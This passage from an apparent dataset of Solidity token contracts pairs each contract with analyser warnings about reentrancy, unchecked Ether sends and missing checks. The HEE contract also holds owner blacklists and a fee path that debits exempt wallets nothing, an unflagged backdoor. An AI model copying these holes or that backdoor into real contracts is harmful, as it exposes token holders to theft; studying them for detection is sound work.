maxTxUpdated(_maxTxAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 4a697cf): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 4a697cf: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 59104a0): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 59104a0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(\n !_isUnauthorized[sender] && !_isUnauthorized[recipient],\n \"You are a Unauthorized\"\n );\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (sender != owner()) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n checkTxLimit(sender, amount);\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient])\n ? amount\n : takeFee(sender, amount, recipient);\n\n if (\n sender != owner() &&\n (recipient != address(this) &&\n recipient != address(DEAD) &&\n recipient != pair &&\n recipient != marketingFeeReceiver &&\n !isTxLimitExempt[recipient])\n ) {\n uint256 heldTokens = balanceOf(recipient);\n\n require(\n (heldTokens + amountReceived) <= _maxWalletAmount,\n \"Total Holding is currently limited, you can not buy that much.\"\n );\n }\n\n if (\n lastSwap != block.number &&\n _balances[address(this)] >= swapThreshold &&\n swapEnabled &&\n !inSwap &&\n recipient == pair\n ) {\n\t\t\t// reentrancy-events | ID: 4a697cf\n\t\t\t// reentrancy-eth | ID: 59104a0\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: 59104a0\n lastSwap = block.number;\n }\n\n unchecked {\n\t\t\t// reentrancy-eth | ID: 59104a0\n _balances[sender] = senderBalance - amount;\n }\n\n\t\t// reentrancy-eth | ID: 59104a0\n _balances[recipient] += amountReceived;\n\n\t\t// reentrancy-events | ID: 4a697cf\n emit Transfer(sender, recipient, amountReceived);\n\n return true;\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function checkTxLimit(address sender, uint256 amount) internal view {\n require(\n amount <= _maxTxAmount || isTxLimitExempt[sender],\n \"Tx Limit Exceeded\"\n );\n }\n\n function shouldTakeFee(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n\n function takeFee(\n address sender,\n uint256 amount,\n address recipient\n ) internal returns (uint256) {\n uint256 feeAmount = 0;\n\n if (recipient == pair) {\n feeAmount = (amount * sellTotalFee) / 100;\n } else if (sender == pair) {\n feeAmount = (amount * buyTotalFee) / 100;\n } else {\n feeAmount = (amount * transferFee) / 100;\n }\n\n _balances[address(this)] += feeAmount;\n\n emit Transfer(sender, address(this), feeAmount);\n\n uint256 notFeeAmount = amount - feeAmount;\n\n return notFeeAmount;\n }\n\n function removeMaxLimits() external onlyOwner {\n _maxWalletAmount = _totalSupply;\n\n _maxTxAmount = _totalSupply;\n\n emit maxLimitsRemoved(_maxWalletAmount, _maxTxAmount);\n }\n\n function clearStuckToken(\n address tokenAddress,\n uint256 tokens\n ) external returns (bool) {\n require(\n msg.sender == marketingFeeReceiver || msg.sender == teamFeeReceiver\n );\n\n require(address(tokenAddress) != address(this));\n\n if (tokens == 0) {\n tokens = ERC20(tokenAddress).balanceOf(address(this));\n }\n\n return ERC20(tokenAddress).transfer(msg.sender, tokens);\n }\n\n function StartPayfe() external onlyOwner {\n require(!TradingOpen, \"Trading already Enabled.\");\n\n TradingOpen = true;\n\n lastSwap = block.number;\n\n emit tradingEnabled(TradingOpen, lastSwap);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dec2483): Unprotected call to a function sending Ether to an arbitrary address.\n\t// Recommendation for dec2483: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function swapBack() internal swapping {\n uint256 totalFee = buyTotalFee + sellTotalFee;\n\n uint256 teamFee = buyTeamFee + sellTeamFee;\n\n uint256 amountETHteam = 0;\n\n uint256 amountETHMarketing = 0;\n\n uint256 amountToSwap = swapThreshold;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-events | ID: 4a697cf\n\t\t// reentrancy-eth | ID: 59104a0\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 totalETHFee = address(this).balance;\n\n if (totalFee == 0) {\n amountETHteam = 0;\n } else {\n amountETHteam = (totalETHFee * teamFee) / totalFee;\n }\n\n amountETHMarketing = totalETHFee - amountETHteam;\n\n\t\t// reentrancy-events | ID: 4a697cf\n\t\t// reentrancy-eth | ID: 59104a0\n\t\t// arbitrary-send-eth | ID: dec2483\n (bool tmpSuccess, ) = payable(teamFeeReceiver).call{\n value: amountETHteam\n }(\"\");\n\n require(tmpSuccess, \"Failed to send ether to Team Fee Receiver.\");\n\n\t\t// reentrancy-events | ID: 4a697cf\n\t\t// reentrancy-eth | ID: 59104a0\n\t\t// arbitrary-send-eth | ID: dec2483\n (bool tmpSuccess1, ) = payable(marketingFeeReceiver).call{\n value: amountETHMarketing\n }(\"\");\n\n require(tmpSuccess1, \"Failed to send ether to Marketing Fee Receiver.\");\n }\n\n function exemptAll(address holder, bool exempt) external onlyOwner {\n require(holder != address(0), \"Holder is the zero address\");\n\n isFeeExempt[holder] = exempt;\n\n isTxLimitExempt[holder] = exempt;\n\n emit exemptFees(holder, exempt);\n }\n\n function setTxLimitExempt(address holder, bool exempt) external onlyOwner {\n require(holder != address(0), \"Holder is the zero address\");\n\n isTxLimitExempt[holder] = exempt;\n\n emit exemptTxLimit(holder, exempt);\n }\n\n function updateBuyFees(\n uint256 _teamFee,\n uint256 _marketingFee\n ) external onlyOwner {\n require(_teamFee + _marketingFee <= 5, \"Fees can not be more than 5%\");\n\n buyTeamFee = _teamFee;\n\n buyMarketingFee = _marketingFee;\n\n buyTotalFee = _teamFee + _marketingFee;\n\n emit buyFeesUpdated(buyTeamFee, buyMarketingFee);\n }\n\n function updateSellFees(\n uint256 _teamFee,\n uint256 _marketingFee\n ) external onlyOwner {\n require(_teamFee + _marketingFee <= 5, \"Fees can not be more than 5%\");\n\n sellTeamFee = _teamFee;\n\n sellMarketingFee = _marketingFee;\n\n sellTotalFee = _teamFee + _marketingFee;\n\n emit sellFeesUpdated(sellTeamFee, sellMarketingFee);\n }\n\n function updateReceiverWallets(\n address _marketingFeeReceiver,\n address _teamFeeReceiver\n ) external onlyOwner {\n require(\n _marketingFeeReceiver != address(0) &&\n _teamFeeReceiver != address(0),\n \"Fee receiver cannot be zero address\"\n );\n\n marketingFeeReceiver = _marketingFeeReceiver;\n\n teamFeeReceiver = _teamFeeReceiver;\n\n emit feesWalletsUpdated(marketingFeeReceiver, teamFeeReceiver);\n }\n\n function editSwapbackSettings(\n bool _enabled,\n uint256 _amount\n ) external onlyOwner {\n swapEnabled = _enabled;\n\n swapThreshold = _amount * 10 ** _decimals;\n\n emit swapbackSettingsUpdated(_enabled, _amount);\n }\n\n function updateIsUnauthorized(\n address account,\n bool state\n ) external onlyOwner {\n _isUnauthorized[account] = state;\n }\n\n function bulkIsUnauthorized(\n address[] memory accounts,\n bool state\n ) external onlyOwner {\n for (uint256 i = 0; i < accounts.length; i++) {\n _isUnauthorized[accounts[i]] = state;\n }\n }\n\n function getCirculatingSupply() public view returns (uint256) {\n return _totalSupply - balanceOf(DEAD);\n }\n}\n",
"file_name": "solidity_code_10092.sol",
"size_bytes": 19613,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface ERC20 {\n function totalSupply() external view returns (uint256);\n\n function decimals() external view returns (uint8);\n\n function symbol() external view returns (string memory);\n\n function name() external view returns (string memory);\n\n function getOwner() external view returns (address);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract HEE is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: f99e25c): HEE.routerAdress should be constant \n\t// Recommendation for f99e25c: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6d0342d): HEE.DEAD should be constant \n\t// Recommendation for 6d0342d: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 215f7dd): HEE._totalSupply should be constant \n\t// Recommendation for 215f7dd: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 100) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7b7ce97): HEE._swapHEEThreshHold should be immutable \n\t// Recommendation for 7b7ce97: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapHEEThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b04a64b): HEE._maxTaxSwap should be immutable \n\t// Recommendation for b04a64b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 10) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private HEEs;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 4c7b63f): HEE._HEEWallet should be immutable \n\t// Recommendation for 4c7b63f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _HEEWallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public HEEFeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: a158973): HEE._initBuyTax should be constant \n\t// Recommendation for a158973: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 82ac91b): HEE._initSellTax should be constant \n\t// Recommendation for 82ac91b: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 0;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7e52aca): HEE._reduceBuyTaxAt should be constant \n\t// Recommendation for 7e52aca: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 523afbc): HEE._reduceSellTaxAt should be constant \n\t// Recommendation for 523afbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 0;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4af98ae): HEE.constructor(address,string,string).HEEWallet lacks a zerocheck on \t _HEEWallet = HEEWallet\n\t// Recommendation for 4af98ae: Check that the address is not zero.\n constructor(\n address HEEWallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 4af98ae\n _HEEWallet = HEEWallet;\n\n _name = name_;\n\n _symbol = symbol_;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_HEEWallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_HEEWallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawHEEBalance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableHEETrade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n HEEFeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getHEEAmounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : HEEFeeEnabled\n ? takeHEEAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = HEEFeeEnabled && takeFee\n ? takeHEEAmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 4e05eea): HEE.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_HEEWallet).transfer(ethAmountFor)\n\t// Recommendation for 4e05eea: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 005d4fa\n\t\t// reentrancy-eth | ID: 8607e8f\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 005d4fa\n\t\t// reentrancy-eth | ID: 8607e8f\n\t\t// arbitrary-send-eth | ID: 4e05eea\n payable(_HEEWallet).transfer(ethAmountFor);\n }\n\n function removeHEELimit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeHEEAmountAfterFees(\n uint HEEActions,\n bool HEETakefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 HEEPercents;\n\n uint256 HEEFeePrDenominator = 100;\n\n if (HEETakefee) {\n if (HEEActions > 1) {\n HEEPercents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (HEEActions > 0) {\n HEEPercents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n HEEPercents = 0;\n }\n }\n } else {\n HEEPercents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(HEEPercents).div(HEEFeePrDenominator);\n\n\t\t// reentrancy-eth | ID: 8607e8f\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = HEETakefee ? feeAmounts : amounts.div(HEEPercents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getHEEAmounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 8607e8f\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 8607e8f\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 005d4fa\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b81b892): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b81b892: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d505c16): HEE.createHEETrade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for d505c16: Ensure that all the return values of the function calls are used.\n function createHEETrade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: b81b892\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: b81b892\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: b81b892\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: d505c16\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapHEETokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minHEETokens = pLimit;\n\n uint256 tokenHEEWeight = pAmount;\n\n uint256 contractHEEOverWeight = balanceOf(address(this));\n\n bool isSwappable = contractHEEOverWeight > minHEETokens &&\n tokenHEEWeight > minHEETokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 1224759): HEE.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 1224759: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 1224759\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 89fa8db): HEE.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 89fa8db: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 89fa8db\n _finalSellTax = _newFee;\n }\n\n function isHEEUserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeHEEActions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addHEEs(address[] memory HEEs_) public onlyOwner {\n for (uint i = 0; i < HEEs_.length; i++) {\n HEEs[HEEs_[i]] = true;\n }\n }\n\n function delHEEs(address[] memory notHEE) public onlyOwner {\n for (uint i = 0; i < notHEE.length; i++) {\n HEEs[notHEE[i]] = false;\n }\n }\n\n function isHEE(address a) public view returns (bool) {\n return HEEs[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 005d4fa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 005d4fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8607e8f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8607e8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!HEEs[sender] && !HEEs[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isHEEUserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeHEEActions(sender, recipient);\n\n if (inSwapHEETokens(takefee, actions, amount, _swapHEEThreshHold)) {\n\t\t\t// reentrancy-events | ID: 005d4fa\n\t\t\t// reentrancy-eth | ID: 8607e8f\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 005d4fa\n\t\t// reentrancy-eth | ID: 8607e8f\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10093.sol",
"size_bytes": 22936,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address 